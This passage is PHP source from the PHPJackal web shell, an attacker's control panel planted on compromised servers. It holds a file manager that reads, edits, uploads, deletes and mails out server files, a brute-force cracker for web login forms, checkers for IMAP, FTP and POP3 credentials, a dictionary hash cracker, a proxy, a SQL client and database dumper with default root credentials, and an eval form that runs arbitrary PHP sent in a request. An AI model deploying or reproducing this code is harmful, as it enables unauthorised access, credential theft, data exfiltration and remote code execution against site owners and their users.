1131$ext= array('7z','ai','aiff','asc','avi','bat','bin','bz2','c','cfc','cfm','chm','class','com','conf','cpp','cs','css','csv','dat','deb','divx','dll','doc','dot','eml','enc','exe','flv','gif','gz','hlp','htaccess','htpasswd','htm','html','ico','image','iso','jar','java','jpeg','jpg','js','link','log','lua','m','m4v','mid','mm','mov','mp3','mpg','odc','odf','odg','odi','odp','ods','odt','ogg','pdf','pgp','php','pl','png','ppt','ps','py','ram','rar','rb','rm','rpm','rtf','sig','shtml','sql','swf','sxc','sxd','sxi','sxw','tar','tex','tgz','txt','vcf','vsd','wav','wma','wmv','xls','xml','xpi','xvid','zip');
1132echo '
1133<table border="0" cellspacing="0" cellpadding="0">
1134<form method="POST"><tr><th width="20%">Location:<input type="text" name="workingdiR" size="40" value="'.$cwd.'"><input type="submit" value="Change"></form></th></tr></table>';
1135$file=$dir=$link=array();
1136if($dirhandle=opendir($cwd)){
1137while($cont=readdir($dirhandle)){
1138if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
1139elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
1140else $link[]=$cont;
1141}
1142closedir($dirhandle);
1143sort($file);sort($dir);sort($link);
1144echo '<table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><th width="240"><b>Name</b></th><th width="100"><b>Owner</b></th><th width="130"><b>Modification time</b></th><th width="130"><b>Last access</b></th><th width="25"><b>Permission</b></th><th width="35"><b>Size</b></th><th width="50"><b>Actions</b></th></tr>';
1145$i=0;
1146foreach($dir as $dn){
1147echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
1148$own='Unknow';
1149$owner=posix_getpwuid(fileowner($dn));
1150$mdate=date('Y/m/d H:i:s',filemtime($dn));
1151$adate=date('Y/m/d H:i:s',fileatime($dn));
1152$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
1153if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
1154echo '<a href="'.hlinK('seC=fm&workingdiR='.realpath($dn)).'"><font';
1155if(is_writeable($dn))echo ' color="#006600"';elseif(!is_readable($dn))echo ' color="#990000"';
1156echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/directory" border="0" /> ';
1157if(strlen($dn)>29)echo substr($dn,0,26).'...';else echo $dn;echo '</font></a></td>';
1158echo "<td>$own</td>";
1159echo "<td>$mdate</td>";
1160echo "<td>$adate</td>";
1161echo "<td>";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
1162echo "<td>------</td>";
1163echo "<td>$diraction";
1164echo '</tr>';
1165}
1166foreach($file as $fn){
1167echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
1168$own='Unknow';
1169$owner=posix_getpwuid(fileowner($fn));
1170$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$fn&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
1171$mdate=date('Y/m/d H:i:s',filemtime($fn));
1172$adate=date('Y/m/d H:i:s',fileatime($fn));
1173if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
1174$size=showsizE(filesize($fn));
1175$type= end(explode(".", $fn));
1176if(!in_array($type,$ext))$type='file';
1177echo '<a href="'.hlinK("seC=openit&namE=$fn&workingdiR=$cwd").'"><font';
1178if(is_writeable($fn))echo ' color="#006600"';elseif(!is_readable($fn))echo ' color="#990000"';
1179echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/'.$type.'" border="0" /> ';
1180if(strlen($fn)>29)echo substr($fn,0,26).'...';else echo $fn;echo '</font></a></td>';
1181echo "<td>$own</td>";
1182echo "<td>$mdate</td>";
1183echo "<td>$adate</td>";
1184echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
1185echo "<td>$size</td>";
1186echo "<td>$fileaction";
1187echo '</tr>';
1188}
1189foreach($link as $ln){
1190$own='Unknow';
1191$owner=posix_getpwuid(fileowner($ln));
1192$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$ln&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
1193$mdate=date('Y/m/d H:i:s',filemtime($ln));
1194$adate=date('Y/m/d H:i:s',fileatime($ln));
1195if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
1196echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
1197$size=showsizE(filesize($ln));
1198echo '<a href="'.hlinK("seC=openit&namE=$ln&workingdiR=$cwd").'"><font color="#';
1199if(is_writeable($ln))echo ' color="#006600"';elseif(!is_readable($ln))echo ' color="#990000"';
1200echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/link" border="0" /> ';
1201if(strlen($ln)>29)echo substr($ln,26).'...';else echo $ln;echo '</font></a></td>';
1202echo "<td>$own</td>";
1203echo "<td>$mdate</td>";
1204echo "<td>$adate</td>";
1205echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
1206echo "<td>$size</td>";
1207echo "<td>$linkaction";
1208echo '</tr>';
1209}
1210}
1211$dc=count($dir)-2;
1212if($dc==-2)$dc=0;
1213$fc=count($file);
1214$lc=count($link);
1215$total=$dc+$fc+$lc;
1216$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB';
1217echo '
1218<tr><td colspan="2">Directory summery:</td><td colspan="6">Total:'.$total.' Directories:'.$dc.' Files:'.$fc.' Links:'.$lc.' Permission:';
1219if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;
1220echo '</td><tr><td colspan="7"></td></tr><tr><td colspan="3"><form method="POST">Find:<input type="text value="$pass" name="search"><br /><input type="checkbox" name="re" value="1">Regular expressions<input type="submit" value="Find">'.$hcwd.'<input type="hidden" value="7" name="task"></form></td><td colspan="4"><form method="POST">'.$hcwd.'<input type="hidden" value="fm" name="seC"><select name="task"><option value="0">Display files and directories in current folder</option><option value="1">Find writable files and directories in current folder</option><option value="2">Find writable files in current folder</option><option value="3">Find writable directories in current folder</option><option value="4">Display all files in current folder</option><option value="5">Display all directories in current folder</option></select><input type="submit" value="Do"></form></td></tr>
1221</table><br />
1222<table border="0" cellspacing="0" cellpadding="0">
1223<tr>
1224<th>New:</th><th></th width="40"> <th>Upload:</th>
1225</tr>
1226<tr>
1227<td><form method="POST"><input type="text" size="20" name="newf">
1228<input type="submit" name="newfile" value="File"><input type="submit" name="newdir" value="Folder"></form></td>
1229<td width="40"> </td><td><form method="POST" enctype="multipart/form-data"><input type="file" size="15" name="uploadfile">'.$hcwd.'<input type="submit" value="Upload"><br />Note: Max allowed file size to upload on this server is '.$min.'</form></td></tr></table>';
1230}
1231function imapchecK($host,$username,$password,$timeout){
1232$sock=fsockopen($host,143,$n,$s,$timeout);
1233$b=uniqid('NJ');
1234$l=strlen($b);
1235if(!$sock)return -1;
1236fread($sock,1024);
1237fputs($sock,"$b LOGIN $username $password\r\n");
1238$res=fgets($sock,$l+4);
1239fclose($sock);
1240if($res=="$b OK")return 1;else return 0;
1241}
1242function ftpchecK($host,$username,$password,$timeout){
1243$ftp=ftp_connect($host,21,$timeout);
1244if(!$ftp)return -1;
1245$con=ftp_login($ftp,$username,$password);
1246if($con)return 1;else return 0;
1247}
1248function pop3checK($server,$user,$pass,$timeout){
1249$sock=fsockopen($server,110,$en,$es,$timeout);
1250if(!$sock)return -1;
1251fread($sock,1024);
1252fwrite($sock,"user $user\n");
1253$r=fgets($sock);
1254if($r{0}=='-')return 0;
1255fwrite($sock,"pass $pass\n");
1256$r=fgets($sock);
1257fclose($sock);
1258if($r{0}=='+')return 1;
1259return 0;
1260}
1261function formcrackeR(){
1262global $hcwd;
1263if(!empty($_REQUEST['start'])){
1264if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
1265$url=$_REQUEST['target'];
1266$uf=$_REQUEST['userf'];
1267$pf=$_REQUEST['passf'];
1268$sf=$_REQUEST['submitf'];
1269$sv=$_REQUEST['submitv'];
1270$method=$_REQUEST['method'];
1271$fail=$_REQUEST['fail'];
1272$dic=$_REQUEST['dictionary'];
1273$type=$_REQUEST['combo'];
1274$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
1275if(!file_exists($dic)){echo "Can not open dictionary."; return;}
1276$dictionary=fopen($dic,'r');
1277echo '<font color=blue>Cracking started...<br>';
1278while(!feof($dictionary)){
1279if($type){
1280$combo=trim(fgets($dictionary)," \n\r");
1281$user=substr($combo,0,strpos($combo,':'));
1282$pass=substr($combo,strpos($combo,':')+1);
1283}else{
1284$pass=trim(fgets($dictionary)," \n\r");
1285}
1286$url.="?$uf=$user&$pf=$pass&$sf=$sv";
1287$res=check_urL($url,$method,$fail,12);
1288if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;}
1289}
1290fclose($dictionary);
1291echo 'Done!</font><br>';
1292}
1293else echo '<form name=cracker method="POST">
1294<div class="fieldwrapper">
1295<label class="styled" style="width:320px">HTTP Form cracker</label>
1296</div><div class="fieldwrapper">
1297<label class="styled">Dictionary:</label>
1298<div class="thefield">
1299<input type="text" name="dictionary" size="30" />
1300</div>
1301</div><div class="fieldwrapper">
1302<label class="styled">Dictionary type:</label>
1303<div class="thefield">
1304<ul style="margin-top:0;">
1305<li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
1306<li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
1307</ul>
1308</div>
1309</div><div class="fieldwrapper">
1310<label class="styled">Username:</label>
1311<div class="thefield">
1312<input type="text" name="user" value="admin" size="30" />
1313</div>
1314</div><div class="fieldwrapper">
1315<label class="styled">Action:</label>
1316<div class="thefield">
1317<input type="text" name="target" value="http://'.getenv('HTTP_HOST').'/login.php" size="30" />
1318</div>
1319</div><div class="fieldwrapper">
1320<label class="styled">Method:</label>
1321<div class="thefield">
1322<select name="method"><option selected value="POST">POST</option><option value="GET">GET</option></select>
1323</div>
1324</div><div class="fieldwrapper">
1325<label class="styled">Username field:</label>
1326<div class="thefield">
1327<input type="text" name="userf" value="username" size="30" />
1328</div>
1329</div><div class="fieldwrapper">
1330<label class="styled">Password field:</label>
1331<div class="thefield">
1332<input type="text" name="passf" value="passwd" size="30" />
1333</div>
1334</div><div class="fieldwrapper">
1335<label class="styled">Submit name:</label>
1336<div class="thefield">
1337<input type="text" name="submitf" value="submit" size="30" />
1338</div>
1339</div><div class="fieldwrapper">
1340<label class="styled">Submit value:</label>
1341<div class="thefield">
1342<input type="text" name="submitv" value="Login" size="30" />
1343</div>
1344</div><div class="fieldwrapper">
1345<label class="styled">Fail string:</label>
1346<div class="thefield">
1347<input type="text" name="fail" value="Try again" size="30" />
1348</div>
1349</div><div class="fieldwrapper">
1350<label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
1351<div class="thefield">
1352<input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
1353</div>
1354</div>
1355'.$hcwd.'
1356<div class="buttonsdiv">
1357<input type="submit" name="start" value="Start" style="margin-left: 150px;" />
1358</div>
1359</form>';
1360}
1361function hashcrackeR(){
1362global $hcwd;
1363if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
1364if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
1365$dictionary=fopen($_REQUEST['dictionary'],'r');
1366if($dictionary){
1367$hash=strtoupper($_REQUEST['hash']);
1368echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
1369$type=$_REQUEST['type'];
1370while(!feof($dictionary)){
1371$word=trim(fgets($dictionary)," \n\r");
1372if($type=='ntlm'){
1373$word=iconv('UTF-8','UTF-16LE',$word);
1374$type='md4';
1375}
1376if($hash==strtoupper((hash($type,$word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;}
1377}
1378echo 'Done!</font>';
1379fclose($dictionary);
1380}
1381else{
1382echo "Can not open dictionary.";
1383}
1384}
1385echo '
1386<form method="POST" name="hashform" class="form"><div class="fieldwrapper"><label class="styled" style="width:320px">Hash cracker</label></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dictionary" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Hash:</label><div class="thefield"><input type="text" name="hash" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><select name=type><option value=md2>MD2</option><option value=md4>MD4</option><option selected value=md5>MD5</option><option value=ntlm>NTLM</option><option value=sha1>SHA1</option><option value=sha224>SHA224</option><option value=sha256>SHA256</option><option value=sha384>SHA384</option><option value=sha512>SHA512</option></select></div></div><div class="fieldwrapper"><label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.hashform.logfilE.disabled;" checked> Log:</label><div class="thefield"><input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log"></div></div>'.$hcwd.'<input type="submit" value="Crack" style="margin-left: 150px;" /></div></form>';
1387}
1388function pr0xy(){
1389global $hcwd;
1390echo '<img src="http://h.ackerz.com/PHPJackal/images/pr0xy.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="feedbackform"><div class="fieldwrapper"><label class="styled">Navigator:</label><div class="thefield"><input type="text" name="urL" value="';if(empty($_REQUEST['urL'])) echo 'http://showip.com'; else echo htmlspecialchars($_REQUEST['urL']);echo '" size="30" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Go" style="margin-left: 150px;" /></div></form>';
1391if(!empty($_REQUEST['urL'])){
1392$u=parse_url($_REQUEST['urL']);
1393$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
1394$dir=dirname($file);
1395$con=getiT($_REQUEST['urL']);
1396$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
1397$con=replace_stR($s,$con);
1398echo $con;
1399}
1400}
1401function sqlclienT(){
1402global $hcwd;
1403echo '<img src="http://h.ackerz.com/PHPJackal/images/sql.png" style="border: none; margin: 0;" /><br /><br />';
1404if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
1405$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
1406$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
1407$res=querY($type,$server,$user,$pass,$db,$query);
1408if($res){
1409$res=str_replace('|-|-|-|-|-|','</td><td>',$res);
1410$res=str_replace('|+|+|+|+|+|','</td></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>',$res);
1411$r=explode('[+][+][+]',$res);
1412$r[1]=str_replace('[-][-][-]',"</th><th>",$r[1]);
1413echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$r[1].'</th></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>'.$r[0]."</td></tr></table><br />";
1414}
1415else{
1416echo "Failed!<br />";
1417}
1418}
1419if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
1420echo '
1421<form name=client method="POST">
1422<div class="fieldwrapper">
1423<label class="styled" style="width:320px">SQL client</label>
1424</div><div class="fieldwrapper">
1425<label class="styled">Type:</label>
1426<div class="thefield">
1427<select name="typE">
1428<option valut=MySQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MySQL')echo 'selected';echo '>MySQL</option><option valut=MSSQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo '>MSSQL</option><option valut=Oracle onClick="document.client.serveR.disabled = true;" ';if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo "selected";echo '>PostgreSQL</option>
1429</select>
1430</div>
1431</div><div class="fieldwrapper">
1432<label class="styled">Server:</label>
1433<div class="thefield">
1434<input type="text" name="serveR" value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
1435</div>
1436</div><div class="fieldwrapper">
1437<label class="styled">Username:</label>
1438<div class="thefield">
1439<input type="text" name="useR" value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo '" size="30" />
1440</div>
1441</div><div class="fieldwrapper">
1442<label class="styled">Password:</label>
1443<div class="thefield">
1444<input type="text" name="pasS" value="';if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo '" size="30" />
1445</div>
1446</div><div class="fieldwrapper">
1447<label class="styled">Database:</label>
1448<div class="thefield">
1449<input type="text" name="dB" value="';if (isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo '" size="30" />
1450</div>
1451</div> <div class="fieldwrapper">
1452<label class="styled">Query:</label>
1453<div class="thefield">
1454<textarea name="querY">';if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo '</textarea>
1455</div>
1456</div>'.
1457$hcwd.'
1458<div class="buttonsdiv">
1459<input type="submit" value="Query" style="margin-left: 150px;" />
1460</div></form>';
1461}
1462function querY($type,$host,$user,$pass,$db='',$query){
1463$res='';
1464switch($type){
1465case 'MySQL':
1466if(!function_exists('mysql_connect'))return 0;
1467$link=mysql_connect($host,$user,$pass);
1468if($link){
1469if(!empty($db))mysql_select_db($db,$link);
1470$result=mysql_query($query,$link);
1471while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
1472$res.='[+][+][+]';
1473for($i=0;$i<mysql_num_fields($result);$i++)
1474$res.=mysql_field_name($result,$i).'[-][-][-]';
1475mysql_close($link);
1476return $res;
1477}
1478break;
1479case 'MSSQL':
1480if(!function_exists('mssql_connect'))return 0;
1481$link=mssql_connect($host,$user,$pass);
1482if($link){
1483if(!empty($db))mssql_select_db($db,$link);
1484$result=mssql_query($query,$link);
1485while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
1486$res.='[+][+][+]';
1487for($i=0;$i<mssql_num_fields($result);$i++)
1488$res.=mssql_field_name($result,$i).'[-][-][-]';
1489mssql_close($link);
1490return $res;
1491}
1492break;
1493case 'Oracle':
1494if(!function_exists('ocilogon'))return 0;
1495$link=ocilogon($user,$pass,$db);
1496if($link){
1497$stm=ociparse($link,$query);
1498ociexecute($stm,OCI_DEFAULT);
1499while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
1500$res.='[+][+][+]';
1501for($i=0;$i<oci_num_fields($stm);$i++)
1502$res.=oci_field_name($stm,$i).'[-][-][-]';
1503return $res;
1504}
1505break;
1506case 'PostgreSQL':
1507if(!function_exists('pg_connect'))return 0;
1508$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
1509if($link){
1510$result=pg_query($link,$query);
1511while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
1512$res.='[+][+][+]';
1513for($i=0;$i<pg_num_fields($result);$i++)
1514$res.=pg_field_name($result,$i).'[-][-][-]';
1515pg_close($link);
1516return $res;
1517}
1518break;
1519}
1520return 0;
1521}
1522function phpevaL(){
1523global $hcwd;
1524echo '<img src="http://h.ackerz.com/PHPJackal/images/evaler.png" style="border: none; margin: 0;" /><br /><br /><form class="form" method="POST">';
1525if(!empty($_REQUEST['code'])){
1526echo '<div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><pre>';
1527$s=array('<?php'=>'','<?='=>'','<?'=>'','?>'=>''); echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code']))).'</pre>
1528</div></div>';}echo '<div class="fieldwrapper"><label class="styled">Code:</label><div class="thefield">
1529<textarea name="code">';if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);else echo 'for($J=0;$J<10;$J++){for($I=0;$I<10;$I++)echo "FREEDOM! ";echo "\r\n";}';echo '</textarea>
1530</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
1531}
1532function toolS(){
1533global $hcwd,$cwd;
1534echo '<img src="http://h.ackerz.com/PHPJackal/images/tools.png" style="border: none; margin: 0;" /><br /><br />';
1535if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
1536$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
1537fputs($ser,$_REQUEST['domaiN']."\r\n");
1538echo '<pre>';
1539while(!feof($ser))echo fgets($ser,1024);
1540echo '</pre>';
1541fclose($ser);
1542}
1543elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['ouT'])){
1544$Link=mysql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
1545$DB=$_REQUEST['dB'];
1546$Dump="/*
1547Dump generated by PHPJackal
1548Website: http://h.ackerz.com
1549*/
1550
1551
1552DROP DATABASE IF EXISTS `$DB`;
1553CREATE DATABASE `$DB`;
1554
1555";
1556mysql_select_db($DB,$Link);
1557$result=mysql_query("SHOW TABLES",$Link);
1558$table=array();
1559while($data=mysql_fetch_row($result)) $table[]=$data[0];
1560foreach($table as $t){
1561$Dump.= "DROP TABLE IF EXISTS `$t`;
1562";
1563$result=mysql_query("SHOW CREATE TABLE `$t`",$Link);
1564while($data=mysql_fetch_row($result)){
1565$Dump.= $data[1].";\n\n";
1566}
1567$sql="select * from `$t`;";
1568$result=mysql_query($sql);
1569$num_rows= mysql_num_rows($result);
1570$num_fields= mysql_num_fields($result);
1571if( $num_rows> 0) {
1572$field_type=array();
1573$i=0;
1574while( $i <$num_fields)
1575{
1576$meta= mysql_fetch_field($result, $i);
1577array_push($field_type, $meta->type);
1578$i++;
1579}
1580$Dump.= "INSERT INTO `$t` VALUES";
1581$index=0;
1582while( $row= mysql_fetch_row($result))
1583{
1584$Dump.= "(";
1585for( $i=0; $i <$num_fields; $i++)
1586{
1587if( is_null( $row[$i]))
1588$Dump.= "null";
1589else
1590{
1591switch( $field_type[$i])
1592{
1593case 'int':
1594$Dump.= $row[$i];
1595break;
1596case 'string':
1597case 'blob' :
1598default:
1599$Dump.= "'".mysql_real_escape_string($row[$i])."'";
1600}
1601}
1602if( $i <$num_fields-1)
1603$Dump.= ",";
1604}
1605$Dump.= ")";
1606if( $index <$num_rows-1)
1607$Dump.= ",";
1608else
1609$Dump.= ";";
1610$Dump.= "\n";
1611$index++;
1612}
1613}
1614}
1615file_put_contents($_REQUEST['ouT'],$Dump);
1616echo "<b>Done! </b>[<a href=\"".hlinK("workingdiR=".dirname($_REQUEST['ouT'])."&downloaD=".basename($_REQUEST['ouT']))."\">Download</a>]<br />";
1617}
1618elseif(!empty($_REQUEST['urL'])){
1619$h='';
1620$u=parse_url($_REQUEST['urL']);
1621$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
1622$ser=fsockopen($host,$port,$en,$es,5);
1623if($ser){
1624fputs($ser,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
1625echo '<pre>';
1626while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
1627echo '</pre>';
1628fclose($ser);
1629}
1630}
1631elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
1632$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
1633$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
1634file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES));
1635file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n");
1636echo 'Done';
1637}
1638echo '
1639<form method="POST" class="feedbackform"><div class="fieldwrapper">
1640<label class="styled" style="width:320px">MySQL Dump</label>
1641</div>
1642<div class="fieldwrapper">
1643<label class="styled">Server:</label>
1644<div class="thefield">
1645<input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
1646else echo 'localhost';echo '" size="30" />
1647</div>
1648</div>
1649<div class="fieldwrapper">
1650<label class="styled">Database:</label>
1651<div class="thefield">
1652<input type="text" name=dB value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
1653else echo 'users';echo '" size="30" />
1654</div>
1655</div>
1656<div class="fieldwrapper">
1657<label class="styled">Username:</label>
1658<div class="thefield">
1659<input type="text" name=useR value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);
1660else echo 'root';echo '" size="30" />
1661</div>
1662</div>
1663<div class="fieldwrapper">
1664<label class="styled">Password:</label>
1665<div class="thefield">
1666<input type="text" name=pasS value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);
1667else echo '123456';echo '" size="30" />
1668</div>
1669</div>
1670<div class="fieldwrapper">
1671<label class="styled">Output:</label>
1672<div class="thefield">
1673<input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
